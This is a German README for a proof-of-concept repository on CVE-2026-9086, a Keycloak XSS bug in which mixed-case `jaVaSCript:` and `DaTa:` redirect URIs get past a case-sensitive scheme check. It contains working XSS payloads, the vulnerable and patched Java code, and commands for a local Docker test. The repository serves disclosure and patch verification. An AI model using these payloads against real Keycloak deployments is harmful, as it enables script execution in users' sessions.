
CVE-2026-9086 Proof-of-Concept für die Umgehung der Keycloak-Client-URI-Validierung mithilfe von gemischt groß-/kleingeschriebenen `javascript:`- und `data:`-XSS-Payloads, mit Docker-basierter Verifikation der anfälligen und gepatchten Versionen.
Dieses Repository ist ein Proof of Concept (PoC) der Cross-Site-Scripting (XSS)-Schwachstelle CVE-2026-9086 in der Client-URI-Validierung von Keycloak.
Das verwundbare Keycloak validierte die javascript:- und data:-Schemas von Client-URIs unter Beachtung der Groß-/Kleinschreibung. Durch die Verwendung gemischter Schreibweisen wie jaVaSCript: oder DaTa: lässt sich die Prüfung auf verbotene Schemas umgehen. Da Browser URI-Schemas ohne Beachtung der Groß-/Kleinschreibung interpretieren, kann bei einem Klick auf einen präparierten Link JavaScript im Keycloak-Origin ausgeführt werden.
Dieses PoC startet Keycloak 26.6.3 (verwundbare Version) und 26.6.4 (korrigierte Version) mit Docker und registriert dieselbe URI in gemischter Schreibweise über die Admin-REST-API. In der verwundbaren Version gelingt die Registrierung, in der korrigierten Version wird sie mit HTTP 400 abgelehnt.
Dieses PoC öffnet die registrierte URI nicht im Browser und führt kein JavaScript aus.
Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie es nicht für unbefugte Tests gegen Keycloak-Umgebungen Dritter. Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtswidrige Handlungen im Zusammenhang mit diesem Tool.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client-Berechtigung oder Zugriff auf den Client-Registrierungs-EndpunktDer unkorrigierte DefaultClientValidationProvider verglich die verbotenen Schemas mit String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
Da java.net.URI#getScheme() die Groß-/Kleinschreibung der Eingabe beibehält, stimmen die folgenden URIs nicht mit dem Vergleich überein und passieren die Validierung.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
In der korrigierten Version wird equalsIgnoreCase() verwendet.
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Starten Sie die verwundbare und die korrigierte Version mit Docker Compose.
docker compose up -d
Zu startende Instanzen:
| URL | Version | Erwartetes Ergebnis |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI-Registrierung erfolgreich (verwundbar) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (behoben) |
Der erste Start dauert etwas. Mit dem folgenden Befehl können Sie den Status prüfen.
docker compose logs -f
Sobald in beiden Logs Listening on erscheint, beenden Sie die Log-Anzeige mit Ctrl+C.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Erwartete Ausgabe:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
Das Skript ruft den erstellten Client erneut über die Admin-API ab und prüft, ob die präparierte URI gespeichert wurde.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Erwartete Ausgabe:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:-SchemasMit --scheme data kann die URI in gemischter Schreibweise DaTa: überprüft werden.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py führt ausschließlich die folgenden Schritte aus:
admin-cli abrufenjaVaSCript: oder DaTa: als redirectUris festlegen/admin/realms/master/clients sendenEs startet keinen Browser, navigiert nicht zur registrierten URI und führt kein JavaScript aus.
Führen Sie für Keycloak 26.6 ein Update auf 26.6.4 oder neuer durch, für Red Hat build of Keycloak 26.4 auf 26.4.13 oder neuer.
Prüfen Sie außerdem die URI-Konfigurationen vorhandener Clients und entfernen Sie alle Werte, die javascript: oder data: unabhängig von der Groß-/Kleinschreibung verwenden. Beschränken Sie die manage-client-Berechtigung und den Zugriff auf den Client-Registrierungs-Endpunkt auf das notwendige Minimum.